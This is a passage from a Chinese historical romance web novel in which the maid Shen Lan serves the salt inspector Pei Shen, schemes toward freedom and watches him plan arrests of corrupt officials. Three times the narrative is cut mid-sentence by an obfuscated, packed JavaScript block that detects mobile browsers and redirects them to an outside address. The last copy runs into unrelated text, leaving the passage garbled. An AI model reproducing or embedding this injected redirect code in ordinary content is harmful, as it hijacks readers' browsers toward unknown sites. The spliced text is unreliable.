这样一来，反倒是个机遇。 况且哪怕三年后脱不了身，届时已然熟悉了周围情况，麻痹了裴慎，有了银钱、人脉，要逃跑也容易些，总比如今两眼一抹黑，连出扬州的路在哪里都不知道强。 沈澜下定决心，做好两手准备，却忽觉不对：“大人可是夺情起复？”按理守孝不该做官啊。 林秉忠摇头道：“爷是为其恩师守孝。” 为恩师守孝？沈澜只觉不对劲，她就是再不熟风土人情，也知道守孝是为父母、祖父母，哪里有为恩师守孝的？这恩师是他五服内的族亲？还是裴慎在求名？ 她正要细问，坠儿急急来寻，说大人找她。 沈澜辞别林秉忠，匆匆到了正房，唯见裴慎头戴网巾，穿着缂丝圆领袍，端坐黄花梨四出头官椅上，正握着一卷《青琐高议》，目不转睛的看书。 见她进来，裴慎放下书道：“去哪儿了？怎么不在房中伺候？” 沈澜垂首道：“昨日睡得沉了些，今日便起晚了。” 裴慎只冷哼道，“爷一宿没睡，你倒是好眠。”拿到账本，有诸多事情要做，哪里能安睡？ 沈澜咋舌，可算是明白裴慎语气为何如此冷冽了。任谁为工作熬了一夜心情都不会好的。 她不想捋虎须，便低头肃立道：“是奴婢不懂事。敢问爷有何吩咐？” 裴慎只散漫的瞥她一眼：“知道我一夜未眠，还不快去铺床叠被？” 已然日上三竿，可领导要补眠，沈澜还能拒绝不成？她顺从地看了看房内。 裴慎为了处理公务，书房连通内室。 这是盐漕察院，古来盐官最为富庶。床榻围屏俱是些紫檀乌木，盘匣漆器多是螺铀剔红，案头清玩有昆石灵璧，就连墙上挂的画都是玛瑙轴头。 沈澜放眼望去，只觉此地实在过于奢侈。 可巡盐御史任期只有一年，裴慎忙到连丫鬟采买都顾不上吩咐，想来这些布置多半都是上一任巡盐御史留下的。 正思忖之间，裴慎不耐烦道：“杵在那里做甚？” 沈澜便匆匆从一旁的檀木斗柜里抱出群青四君子杭绸被，捋平褶皱，铺在床上。又拍了拍枕头令其松软。便转身道：“爷，好了。” 裴慎剑眉微蹙：“这便好了？” 沈澜稍有些迷茫：“不知爷还有何吩咐？” 裴慎不置可否：“已至夏季，这被子用的还是茧绸，帐子是厚实的绢帐，就连枕头都是西域五色普罗制的，地上还铺着洒海剌。你要热死谁？” 沈澜一时为难，她从未伺候过旁人，只人在屋檐下，不得不低头。况且不管是要请裴慎为她销去奴籍，还是要逃跑，和领导处好关系都是第一步。 沈澜即刻端正态度：“爷，奴婢鲁钝，且不曾服侍过人，经验不足。”向领导承认错误。 “若爷觉得奴婢有不妥之处，还请指点一二。”请求懂行的领导指点。 “既然被褥枕头帐子等皆要随四季变化，那么房中其余陈设可也要如此？”举一反三，展现自己的聪慧。 果然，三句话后，裴慎的脸色好看多了。她瘦马出身，平日里多半学些琴棋书画，茶围双陆之类的，哪里有公府丫鬟会伺候人？如今见她聪敏，倒也省事。 裴慎“嗯”了一声。 沈澜便上前，先把全部柜子打开，翻检了一条夏季薄被，卷起床上厚重的被褥和枕头，替他换好。 她此刻穿着宽大的粗布衣衫，腰间只系了根细带，走动间勾勒出袅袅腰肢。 裴慎的目光轻扫过她的腰肢。 太细了些，一掌便能握住。 东西又多又重，沈澜一通忙碌，难免热意氤氲，双颊飞晕。 裴慎放下书，端坐饮茶，余光总有意无意瞥她，见此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375389|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情态，喉头微动，却只拨弄着手上的白瓷茶杯，端起来一饮而尽。 沈澜一无所觉，换好被褥后转过身道：“还请爷先歇息，我便不吵嚷爷了。待爷醒了，我再来换掉陈设。” 裴慎嗯了一声，又道：“更衣。” 更衣？沈澜微怔，复深呼吸一口气，伸手就去解裴慎腰带。两人靠的实在太近，近到裴慎能嗅到她身上淡淡的香气。 很清淡，不是女子常用的桂花头油，也不是什么昂贵的花露，倒泛着些清苦。 “用的什么香？” 沈澜一愣，想起来：“昨晚用了些安神香。”为了逃跑点了那么多安神香，纵使穿着旁人的外衫，可里衣是她自己的，难免沾上。 “不对。”裴慎摇头道：“你那安神香虽不劣质，却也不是什么名品，必不会如此清淡雅致。”瘦马纵然需要培养风雅，可到底还是商品，要控制成本。 沈澜想了想，便道：“从前只烧过四弃香。” “哪些料做的？”裴慎问道。 “无非是些瓜果橘皮之类的。”反正都是廉价易得可自制的东西。 裴慎忖度片刻便明白她为何从四弃香改用安神香。 想来用安神香是为了叫周围监守之人睡得更熟，只是安神香颇为昂贵，若日日烧她承受不起。可若不烧香，忽然在临逃跑前有了烧香的习惯，恐惹人起疑。便只能前面燃些廉价的香料，最后再烧安神香好逃跑。 “你倒聪敏。”裴慎意味深长道，“只是做丫鬟倒也不必太灵慧，勤恳伺候好主子便是了。” 沈澜垂首，心知对方在警告她不要把这些小把戏用在他身上，更不要试图耍些小聪明。 “爷说的是。”说完，替他褪去了腰带、外衫，正打算为他脱去亵衣亵裤，裴慎突然道：“净室备好了水，过来替我擦背。”说着，坦然自若地向净室走去， 沈澜也不生气。裴慎敢洗，她就敢看。 盐漕察院当真富庶，净室内是不知从哪里引来的一泓温泉，偏偏做得又格外清雅。 入门不是一座屏风，而是一道假山石景。那掇山竟是以瘦漏皱透的太湖石所制。绕过这座咫尺山林，从几杆古拙的竹节中流出汩汩热泉，水面上飘着几片青碧玲珑的荷叶。 沈澜仔细一看才发现那荷叶边缘卷曲上翘，泛着润泽的光华，竟是能工巧匠烧制而成的孔雀绿釉荷叶瓷盘，一旁还点缀着童趣的莲藕。底下应当是做了些小机关，令其浮于水面之上。 见她颇为惊叹的样子，裴慎意味深长道：“如何？” 沈澜答道：“极美，它必定凝结了诸多工匠的心血。” 裴慎颇为诧异的回头望她一眼。他还以为沈澜或是斥其奢靡，或是艳羡不已，却没料到她竟是这般说法。 “你这说法倒有几分趣味。”裴慎轻笑一声，复又闭目养神道，“且过来擦背。” 擦就擦呗，沈澜无所畏惧。她拿起盘中绸缎，沾了温泉水，浇在他背上。裴慎自幼习武，整个人身量高，肩宽背阔，英武挺拔，肌肉精瘦结实，充满着力量感。 裴慎回头，见她脸不红气不喘，毫无异色，便心有不满，暗想她果真是瘦马出身，给一个陌生男子擦起背来半点也不害臊。 一想到这里，他干脆靠在池壁上，闭目养神道：“用点劲儿，挠痒痒呢！” 沈澜闻言，咬着牙，使出吃奶的劲儿擦洗起来。 过了一会儿，裴慎突然道：“说你挠痒痒真是高估你了，蚊子叮的都比你强。” 沈澜本来就擦的满头大汗，闻言心头火起，柔声道：“爷，奴婢力气不够，不如叫个侍卫进来给爷擦背。”擦！最好擦了你的皮！ 裴慎也不回头，只摆摆手道：“喊了侍卫，要你有何用？你那月俸是白拿的不成？” 月俸？沈澜一顿，便小心试探：“爷，这月俸是多少？” 裴慎回头看了她一眼，暗道成日里惦记那点银子，果真是出生卑微，见识浅薄。 “不知，照旧例走便是。”裴慎冷声道。 沈澜愣了愣。想来也是，裴慎哪里会知道一个婢女的月银。 有了这一出，裴慎忽又不耐烦地摆摆手，“你且出去。” 沈澜莫名其妙，不知道此人发的什么火。但她乐意不擦背，甩开锦帕告退。 裴慎见她转身就走，只蹙眉道：“去哪儿？且去外间榻上守着。” 沈澜无奈，出了净室去博山炉内隔水熏炙蓬莱香，换上芙蕖簟，铺好天水碧杭绸薄被，拂下水墨白棱纱帐上缀着的玉钩，帐内日光昏昏，裴慎阖眼枕在竹枕上，呼吸渐绵长起来。 沈澜便躺在离床不远处的美人榻上发呆。只是屋内一片安谧，唯香气袅袅，连阳光都显得闲适。渐渐的，她意识昏昏，朦朦胧胧睡去。 7. 第7章 裴慎精力充沛，只小睡了一个时辰便醒，拂开纱帐，见不远处美人横卧，香梦沉酣。 走近了才见她薄被半搭，鬓乱钗横，眉眼纯稚，唯一点缬晕染于香腮之上，露出半截雪白的玉臂横陈在胸前。 或许是听到了脚步声，沈澜霎时惊醒过来，懒起无力，只一双翦水秋瞳泛着盈盈脉脉的水光，迷蒙地抬眼，便露出几道被竹簟压出的痕迹。那几道红痕在她雪白的香腮之上，如雪里红梅，清极生艳。 裴慎呼吸发紧，看了一会儿才移开视线，玩笑道：“怎么？睡了一会儿便认不出我了？莫不是被玉簟压坏了？” 闻言，沈澜伸手摸了摸自己脸颊，才发现左脸似乎被竹席压出了几道痕迹。 她愣了好一会儿，才清醒过来。起身，垂首，肃立。又是平日里那副安静谨慎，恭顺的样子了。 “爷，奴婢失职，竟睡着了。” 裴慎心情不错，笑道：“你生得这么好，只穿粗布麻衣着实可惜了。” 沈澜哪里敢装扮，她只想安生熬完三年，便说瞎话哄他：“大人正守孝，我哪里好穿红着绿？” 提起“守孝”二字，裴慎面色不变，只一双眼睛冷若冰霜，寒意森森。好似替恩师守孝，不是心甘情愿，倒像是被迫似的。 沈澜低着头，一无所觉，只奇怪裴慎为何不说话。半晌，才听见裴慎道：“不必大红大紫，只是你这身实在破烂了些，没得丢脸。”说着，便喊人进来：“陈松墨，且去唤几个绣娘来。” 陈松墨一时惊异，爷平日里哪里耐烦折腾这些，丫鬟婆子穿什么他是素来不在乎的。 他心里有了盘算，也不敢多看，便告退离去，径自去寻绣娘。 沈澜还以为裴慎要给她发工作制服，心道也不知道将来辞职了，这些衣服要不要还。若是不必还，那辞职后卖去估衣铺，还能挣一笔。 此时已是半下午，裴慎尚未用膳，沈澜便取了午膳摆上桌。 蟠桃饭，碧涧羹，鲜鱼虾做成的山海兜，松花黄与练熟蜜制的松黄饼，新鲜的马齿苋汆水青翠欲滴，活鲤清蒸后鲜甜味美，菱角白嫩爽脆。 沈澜立在他身后，咋舌不已，都说三代方知穿衣吃饭，可见裴慎果真是钟鸣鼎食之家出身，这一顿饭，造价未必高昂，但俱是夏日时令蔬果，取得便是应时二字。 伺候裴慎用了饭，沈澜又在厨房随意用了些，填饱肚子便径自回房。 刚到房门口，只见陈松墨带着一个三十来岁的绣娘，捧着一叠衣衫立在门口：“沁芳姑娘，爷叫我把衣衫给你送来。” 这院子里适龄的丫鬟只有沈澜一个，虽有绣娘在场，陈松墨也不好多待，只匆匆嘱咐了一句：“这是陈氏绣庄的绣娘，姑娘若有什么吩咐，尽管与她们说。” 语罢，匆匆离去。 沈澜蹙眉看着绣娘抱来的衣衫。鸦青色比甲、豆绿潞绸对襟、雀蓝杭缎外衫、靛蓝月牙白镶边裙、妆花织金裙、莲叶纹百花间破裙、白纱挑边襦裙……十几件衣衫叫人眼花缭乱。 虽都是素净的颜色，可这衣衫料子未免也太好了些。沈澜颇有些迷惑，裴慎的丫鬟待遇这么好的吗？ 这院子里的下房隔的近，她这边有了动静，坠儿便跑出来看热闹。 “沁芳姐姐，这衣裳好漂亮。”坠儿与沈澜打了几回交道，见她和善，也不怕她，只羡慕的望着那些锦缎华裳。 沈澜回过神来，这院子里的丫鬟婆子她都见过了，这些人穿得虽不差，却也只是细布罢了，何曾穿得这般显眼。 沈澜不想出挑，便冲着绣娘笑了笑，正要开口，那绣娘被她笑得一时恍惚，脱口而出：“姑娘当真好颜色，这些衣衫配姑娘正好。” 沈澜不置可否：“这些衣裳可是你选的？” 见她面上并无喜色，绣娘一慌，即刻道：“来的是个五大三粗的男人，只说将店里好看的衣服包起来，我便送来了。敢问姑娘，可是有不妥之处？” 闻言，沈澜心中松快了不少。裴慎应当只是叫陈松墨去采买些衣物，却没料到阴错阳差。 她道：“这些衣服太贵重，我穿不起，你那里可有细棉布制的衣衫襦裙，不需太贵重，也不能太简陋，看着妥帖便是。” 绣娘只觉这单生意做黄了，一时间怏怏道：“姑娘，你好歹是巡盐御史家的丫鬟，走出去都是主子的体面，不说穿金戴银，怎么能连个绸缎襦裙都没有呢！” 沈澜只一味微笑，不理会她的抱怨，她便讪讪道：“是我多嘴了。” 说着，为沈澜量了尺寸，大概是想到了方才那些话，又不想失去巡盐御史府这个大客户，绣娘一边量一边夸赞道：“姑娘这腰肢真是纤细，肩背也好，我量过这么多妇人，姑娘这尺寸是顶顶好的。” 沈澜心知她必定是对每一个客户都这么说，也不在意，只问道：“要多久能送来？” “姑娘要新做的，便要两三天的功夫。若只在店里现成的衣衫上改一改，明日就能送来。” “明日吧。”沈澜提醒道：“衣衫稍稍宽大些。”也好掩盖住姣好的身体曲线，以免惹祸。 那绣娘原想再劝劝她，转念一想，衣裳宽大了，多费布料更多，便喜上眉梢：“姑娘可还有其他吩咐？” 沈澜摇了摇头，绣娘径自告辞离去。房里只剩下那一堆衣服没拿走，理由是陈松墨已付过钱了。不仅如此，还表示明日送衣服来的时候，再带几个绣娘，把这些衣服不合身的地方都改了。 坠儿得了沈澜的同意，正欢喜雀跃的抚摸那些新衣裳，只觉这些比她身上的漂亮多了。 “姐姐，我也是丫鬟，待我长到姐姐这么大的时候，也能有这么多漂亮衣服穿吗？” 沈澜摸了摸坠儿毛茸茸的脑袋，笑容微微发苦：“漂亮的衣服虽然好，可穿不了。” 坠儿不懂她在说什么，只睁大眼睛茫然地看她：“为什么穿不了？” 沈澜没回答，只轻叹一声。叹息声散落在庭院里，几不可闻。 第二天一大早，沈澜要的衣裳便送来了，鸦青色细葛布制成的襦裙，换上以后她便出了门。 裴慎尚未接到陛下旨意，这几日闲来无事，正在练字。沈澜进来的时候他提着一杆白茅根心制成的茅龙笔，正临摹《行书诗》。听到有人进来，头也不抬道：“研墨。” 上等的瘦马要学些诗词歌赋，自然也要会研墨。沈澜看了眼他纸上的墨迹，便闷声不吭的在龙尾砚中加了少许清水，拈起文犀照水墨细细研磨起来。 待在一卷字习完，裴慎搁下笔，颇为满意：“墨研得不错。” 他方才在绢上的字迹墨色极干，色如焦枝，分明要用的是焦墨，沈澜便只加少许清水，好合他的意。 搁下墨条，沈澜取了干净的手帕递给他。 接过帕子，裴慎突然蹙眉道：“不是给你送了衣裳吗？怎穿的如此素净？” 沈澜心里一颤，戏肉来了。 “爷，陈侍卫是不是买错了？送来的衣物太过贵重，全是些杭缎潞绸。” 裴慎兀自擦手，只淡淡道：“爷赏你的，尽管穿。” 她寸功未立，何来赏赐？沈澜心里发紧，只小心试探道：“我可是立了功？” 裴慎便笑着反问：“你不过是个闺阁女子，能立什么功？爷赏你两件衣裳，还要什么由头不成？” 沈澜非但不欢喜，心中反倒越发沉郁。到底是裴慎一时兴起赏了几件衣服，还是他有意纳她做妾，或是干脆要将她赠予旁人，临行前给她好生打扮一二。 她脑中思绪万千，顷刻之间便下定决心，只小心试探道：“那些衣衫虽是爷赏的，可太贵重了，我行走坐卧难免弄脏。倒不如平日里穿素净些的衣物，待要出门见人了，再穿爷赏的。” 裴慎闻言，定定看了她两眼，不出声。 此人剑眉星目生得威严，加上年纪轻轻身居高位，此刻脸一沉，上位者的压迫感如同沉重的乌云，仿佛随时都有暴雨雷电倾泻而下。 沈澜低着头，毫不害臊地吹捧他：“前任巡盐御史留下的这屋子里的陈设颇为奢靡，爷尽数叫人换了去。可见爷秉性廉洁、不好奢靡。” “都说有其主必有其仆，我亦不好挥霍无度。倒不如干干净净细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375390|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葛布制成的衣衫，吸汗透气，夏季穿起来颇为舒适，取其清静自然之意。” 生怕裴慎还不肯答应，沈澜即刻追加第二个理由：“爷恰逢孝期，我虽是个小小奴婢，却也不敢穿金戴银四处招摇，给爷找麻烦。” 语毕，她只觉自己用尽了毕生彩虹屁，追星都没这么努力。 她紧张的等待着裴慎的回复。 见她这般，裴慎竟有些想笑。不过几件衣裳罢了，不爱穿便不穿，也值得她小心谨慎、拐弯抹角找理由？ 裴慎原本就盯着她，这会儿忽然又想起她方才说话的时候……朱唇榴齿，檀口张合之间，隐见丁香小舌。 于是视线便忍不住放去了她唇齿之上。看着也没抹胭脂，怎么唇瓣如此嫣红润泽？ 他忽然问道：“可吃过石榴？” 沈澜一愣，夏日哪来的石榴？她摇摇头：“不曾吃过。” 既不曾吃过，为何那唇瓣像刚刚咬过石榴，红艳艳的汁水便染在了唇上。 裴慎忽然笑道：“待到秋日，且给你捎几个石榴吃。”沈澜摸不着头脑，只觉话题转的太快，便茫然地道了个谢。 可她这会儿哪里在意石榴不石榴的，只小心翼翼地问道：“爷，那我这身衣裳……” 裴慎但笑不语，过了一会儿意有所指道：“沁芳，你这张嘴，当真生的好。” 沈澜只以为裴慎是夸她话说得好，说服了他，心中不免泛起几分喜悦和庆幸来。 既然裴慎能轻易答应她穿现在这身衣裳，想来之前多半是看她衣着寒酸、临时起意送几件衣裳而已，不是想将她送人，也不是要在孝期强纳她为妾。 沈澜舒缓下来，只垂首道：“谢过爷夸奖。” 见她这几日颇为恭顺，行事也周到小心，裴慎便道：“我初初上任一月，这院子里也没个人管，原本这些内务都交给了陈松墨和林秉忠，如今你来了，院里的丫鬟婆子便交给你管。” 说着，喊了陈松墨进来，叫他将库房钥匙、账册尽数给沈澜。 沈澜接过钥匙和一只装银钱的檀木匣，心知正式工作要开始了。 陈松墨交接完后就离开了，裴慎叮嘱她道：“外头的丫鬟婆子都是历任积留下来的，也有良家子前来做工，俱是扬州本地人，便是我离任，这些人也不会随我一起走。” 沈澜会意，这是告诉她这些人不可信，叫她行事谨慎些。 “爷，我不曾管过内院，望爷指点一二。”沈澜诚心道：“我私以为这院子里也就三件事最要紧。一是爷的书房，二是厨房，三是卧房。” 书房是机要之地，厨房是入口之物，卧房是起居之所。至于什么库房之类的，堆的都是些杂物。裴慎上任轻车简从，一应物品俱是扬州本地购置，便是失窃了绫罗绸缎、杯盘碗盏之类的，也不过损失了些许银钱。 听她这么说，裴慎颇为赞许道：“不错。你既知道，便去做吧。” 下午，沈澜细致的了解了这院子里丫鬟婆子的情况，又详细问了厨房采买事宜，再去耳房将裴慎的物品尽数登记造册，还得将他上峰、同僚、下属、友人送来的各色礼品清点入礼账，便于回礼。 入夜，沈澜照旧伺候裴慎沐浴更衣，又睡在正房美人榻上守夜。 忙活了大半天，沈澜殊无睡意，心知明日，她的婢女生活就要正式开始了。思及此处，只觉前路茫茫，哪里能安睡呢？ 她翻来覆去睡不着，干脆睁开眼，自柳叶格窗望出去，唯见一轮弯月，两三点碎星，数缕清风送来庭前蔷薇一院香。 看着看着，沈澜忽而想起了她从刘宅出逃的那一晚，也是这般好景致。只是彼时心中惶恐，怕自己逃跑不顺，又怕被卖入暗门子，罹患疾病，尊严沦丧，便没有心情赏景。 如今天上朗月依旧，人间清风犹在，她也好端端的活着，无需学什么伺候男人的把戏，也不必时刻忧虑沦落风尘。况且三年过后，若能销去奴籍，她便是良家子弟。便是不成，再逃跑，也有三年时间来准备。 沈澜计定，心中一派安宁，她披着粼粼月光，拢着满袖暗香，阖眼睡去。 8. 第8章 第二日一大早，沈澜正低头为裴慎整理腰上素银束带，恰要将一个竹叶纹三梭布荷包系上去，忽闻房外传来林秉忠叩门声：“爷，来圣旨了。” 裴慎闻言，应了一声，即刻去外书房接旨。 一进书房，只见十几个锦衣卫立于左侧厅堂，身穿飞鱼服，腰挎绣春刀。东厂档头带着几个番子立于右侧，头戴尖帽，脚蹬白皮靴。双方泾渭分明，互不搭理。 裴慎暗忖，陛下无子，又日渐老迈，疑心病越发重了。不仅启用东厂，还要东厂与锦衣卫一同前来，相互制衡，这是生怕有哪一方做手脚。 不过扬州官场侵吞盐引行贿受贿一案证据确凿，没哪个傻大胆敢在这时候动手脚。 “裴大人，接旨吧。” “奉天承运皇帝，敕曰：古来唯廉而能后平，平则公矣。昔子罕辞玉、杨震辞金，列前古之清洁，为将来之龟镜……” 待裴慎接了旨，这旨意果真与他想的一模一样，转运使秦献仅因管教下属不利被申饬一番，而副转运刘必之却要被押送回京受审。 “裴大人，陛下命我等速速缉拿要犯，不知裴大人可否派个差役带路？”说话的是北镇抚司镇抚使，威名赫赫的石经纶。 对方板着脸，络腮胡须浓密的看不清神色，一板一眼道：“还请裴大人速速行动，勿要耽搁我等差事。” 裴慎尚未说话，一旁的东厂档头许益便不咸不淡道：“石镇抚使说笑了，裴大人深受圣恩，哪敢耽误陛下的事。”说着，又满脸堆笑，“裴大人来扬州一月，便查出了一桩惊天大案，当真是头角峥嵘、年少有为啊！” 石经纶即刻嗤笑起来。 见他嗤自己，许益扯扯嘴角，皮笑肉不笑回敬：“北镇抚司好大的威风。” “比不得许档头，带着三五个番子便敢来办差事，艺高人胆大。” 这分明是讥讽他们东厂无人。许益心中恼火，若不是裴慎还站在这里，他恐怕甩袖便走。只见许益阴着脸道：“咱家出京办差，不与你置气。裴大人，且给咱家也派个差役带路！” 见两人互不搭理，裴慎也不在意。锦衣卫若与厂卫处的好，陛下只怕要彻夜难眠了。 裴慎温声道：“二位若一家家抄检过去，唯恐泄露了风声有人畏罪潜逃徒增麻烦，还是本官出面，将一干人等邀来赴宴为妙。” 许档头大喜过望：“如此便多谢裴大人了。”锦衣卫人多，石经纶那厮若缺人，调几个当地驻扎的锦衣卫便是。可他们东厂刚刚被启用，哪来那么多人手？这办法分明是裴大人体恤他。 许益眉开眼笑，心道这国公府世子爷果真会做人，怪不得简在帝心，圣眷正隆。 “既是如此，咱家就等大人好消息了。届时裴大人摔杯为号，咱家带着刀斧手即刻冲出来！” 石经纶听得脸皮发僵，心道太监就是粗俗，听了几出鸿门宴，还真唱起大戏来了。 三人议定，许益和石经纶便纷纷告辞。裴慎喊人拿着他的帖子请涉事官吏于太白楼赴宴。 此时东曦既驾，日已三竿，明亮的日光从玻璃窗格中透出来，裴慎坐在太师椅上，把玩着手中洒金川扇。 少顷，忽有人推门而入，正是方才离去的石经纶。 “大人。”石经纶拱手，“指挥使叫我代他问个好。” 裴慎温声道：“按理，赵十一是传旨百户，我原本以为来的是他，怎么是你来？” 石经纶恭敬道：“十一被派去督办采选良家子一事，无暇来见大人。指挥使特意着我告知大人几件事。” 说着，他一一重复道：“第一，廖美人、何婕妤有孕，御医把脉，只说有八成把握廖美人生男，何婕妤生女。” 裴慎毫不犹豫：“廖美人恐怕是活不了了。”婉贵妃深得陛下爱重，廖美人的儿子必定会抚养于婉贵妃膝下。 石经纶微微叹息，继续道：“第二，婉贵妃侄女林六娘及笄后至今尚未婚配，今年，林九娘、十三娘也要及笄了。” 提起婉贵妃三个字，裴慎面容平静，只眼带厌恶，冷笑道：“京中恐怕日日都有适龄子弟成亲，热闹的很。” 想避开婉贵妃的几个娘家侄女，除了守孝便只能成亲。守孝这招他用过了，况且若非时机巧合，寻常人也用不了，那就只能成亲。 “第三，云南巡抚傅济中派遣家仆携两罐黄雀银鱼拜谒林少保，傅济中被擢为南京大理寺卿，赴任途中死于镇远。” 裴慎点点头：“我在邸报上瞧见了。”林少保是婉贵妃之父，他的党羽死了，不管是怎么死的，朝堂只怕又是风起云涌。后宫与朝堂扯在一起，牵一发而动全身，裴慎无意掺和。 便是要入阁，也要先外放攒出政绩，待到三四十岁再请回京，顺顺当当的做一任尚书，届时入阁，那便是既有资历，又有实绩了。 裴慎思忖后，沉声道：“你且告诉指挥使，就说裴慎巡盐御史任满回京后会再请外放。” 石经纶点点头，只将裴慎的嘱咐记在心里后，又陆陆续续说了剩下两件事。 “第四，东南倭寇渐猖獗，浙江巡抚刘集上奏折欲罢免浙江、福建市舶提举司。” 裴慎摇摇头：“两淮盐政课税素来是国朝盐税重中之重，论理，一引应得盐税六两六钱四分，按照盐引量，应得盐税一千万两有余，可去年盐税才两百四十五万两。” “我年不过弱冠，陛下不用老成持重之辈却要我来担任巡盐御史，必定是要借年轻人的锐意进取来革故鼎新，严查盐政官场积弊。可见朝中财政已是日益紧张。” 否则这位沉迷于婉贵妃、生子、修道这三件事的陛下决不会腾出手来搭理盐政的。 裴慎继续道：“既然朝中如此缺钱，福建和浙江两个市舶司年抽解白银百万两，朝中必定不肯裁撤。相反，刘集乃浙江巡抚，干出此事要么是一时糊涂，要么是被倭寇逼到没办法了，前者无智，后者无能。浙江巡抚的位子多半要换人做了。” “此外，若真是倭寇猖獗，还请指挥使多多留意东南情报，陛下必定要问。况且将来总有用到的时候。” 石经纶会意：“我会提醒指挥使大人。” 语罢，又道：“蒙古土默特部勃儿只斤俺答去年便有流言说病重，拖到如今也没个确切的消息，指挥使想听听裴大人的想法。” 裴慎思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵娘子笑道：“河虾得去码头现买才新鲜，菱角蔬果自然是去菜市街采买的。” 沈澜心中欣喜，正要再问，赵娘子又继续道：“我已与河上那船家约好，叫他日日送来新鲜的河虾活鱼。” 沈澜一时失望，她本想借着采买事宜，与赵娘子一同出府。如今看来，这条路希望不大，况且采买涉及银钱，颇为敏感，赵娘子未必愿意与她同去。 沈澜思忖片刻，换了个说法，笑道：“赵娘子，我来的匆忙，没什么胭脂可用，正打算出府买些胭脂水粉，不知赵娘子何时有空，我也好与你一同搭个伴。” 赵娘子微怔，颇有些为难。盐漕察院富庶，给厨娘的月银也高，赵娘子不想丢了这份活计，偏偏她又是个寡妇，生怕惹来是非，便不肯频频外出，只谨言慎行的闷头做事。 “姑娘，我平日里若不是采买，等闲不出府，就是怕大人想吃个东西却寻不着人。” 沈澜见她为难，体贴道：“我也不挑日子，只待赵娘子要出府之际，且通知我一声便是了。” 赵娘子松了口气，笑着剥了个菱角递给她。 9. 第9掌 午间，太白楼内。 受邀者俱是盐政官吏以及盐商，巡盐御史相邀，哪敢不来？几个白身的盐商不敢衣锦华服，还特意换上了青衣褶子以示恭敬。 太白楼是扬州最大的酒楼，高约三层，五楼相向，以数座虹桥相连，雕栏玉砌，檐牙高啄。又有伎子小唱出入其间，帮闲篾片四处走动。 三楼的包厢里，见裴慎尚未来，诸人叙爵落座，只吃着茶点却不敢开桌，叫来的三五伶伎不好干坐着，也不好叫呀酒，便只好弹唱些骤雨打新荷、锁南枝、山坡羊之类的慢曲小调。 “怎么只喊了这么几个小唱？”秦献端坐次席，不悦道。 宴席虽是裴慎开的，可太白楼开设宴席驾轻就熟，二十余人的宴席只叫了三五伶伎，实在不合适。 一旁陪坐的刘必之低声道：“卑职特意叫人裁撤了几个，那裴大人听说守孝在身，不好宴饮享乐。” 秦献嗤笑，既是守孝，为何开宴？分明是装模作样。只他嘴上道：“裴大人上任一月，还是头一次设宴，当真是昃食宵衣、尽瘁事国啊。” 盐场转运使发话，周围几个经历、盐所官也纷纷拍马：“是极是极”、“大人勤政”、“忧国奉公、未明求衣。” 满场都是官，几个盐商不敢托大，只敬陪末座，这会儿见官吏们夸赞完，这才敢说几句“裴大人夙夜在公”、“宵旰忧劳”…… 一时间，满场桴鼓相应，笙磬同音，气氛融洽和美。 隔壁包厢里等着的锦衣卫小旗忍不住啐了一口：“裴大人还没来呢，至于吗！” 周围几个相熟的便挤眉弄眼道：“老爷们现在说的高兴，一会儿咱们进去，管叫他们唱的高兴！” 众人吃吃笑起来。 石经纶清清嗓子，身后的十余名锦衣卫便做肃穆状，不敢再顽笑。 “行了，此行共抓捕十七人，都警醒些，可不能让隔壁那帮阉货抢了先。”刚说完，便听见楼梯口有四个脚步声，极轻盈，听着俱是习武之人。 石经纶做手势，示意身后部下噤声准备。 裴慎带着三个侍卫上楼进了包厢。 他一进来，众人纷纷拥他端坐上首。裴慎坐在鱼肚牙壸门太师椅上，环顾四周，除了几个熟面孔，剩下的人俱不认识。 也是，能见到他的都是五品以上的盐政官吏，普通的小吏根本见不着他，他自然不认识。更别提几个连功名都没有的盐商了。 裴慎温声道：“诸位都坐吧，是本官来迟，原该自罚三杯，只是恰逢孝期，以茶代酒可好？” 秦献即刻道：“大人客气了，忠孝大过天，哪里敢让大人自罚。” 一时间，劝说声不绝于耳。 裴慎就坡下驴：“诸位好意，本官心领了。只是本官初来乍到，尚有诸多仁兄贤弟不认识，秦大人可愿做个中人？” 秦献朗声笑道：“好说好说。”说罢，先是指点了几个官位稍次者，只说这几位是吴经历、陈知事，被点到的人即刻起身敬酒。 这么一轮下来，最后便说到了几个盐商。 “这是刘葛，刘鹿裘。” 被点到的刘葛穿着青衣褶子，即刻作揖把盏：“裴大人，小人刘葛，字鹿裘，家中世代贩盐，今日蒙大人召见，不胜惶恐。” 语毕，即刻灌了自己三钟酒。 裴慎不置可否：“你这字可是出自《汉书虞延传》，昔晏婴辅齐，鹿裘不完，季文子相鲁，妾不衣帛？” 见巡盐御史与他搭话，刘葛激动地满脸通红：“是极是极，大人博通经籍，不愧是状元之才。” 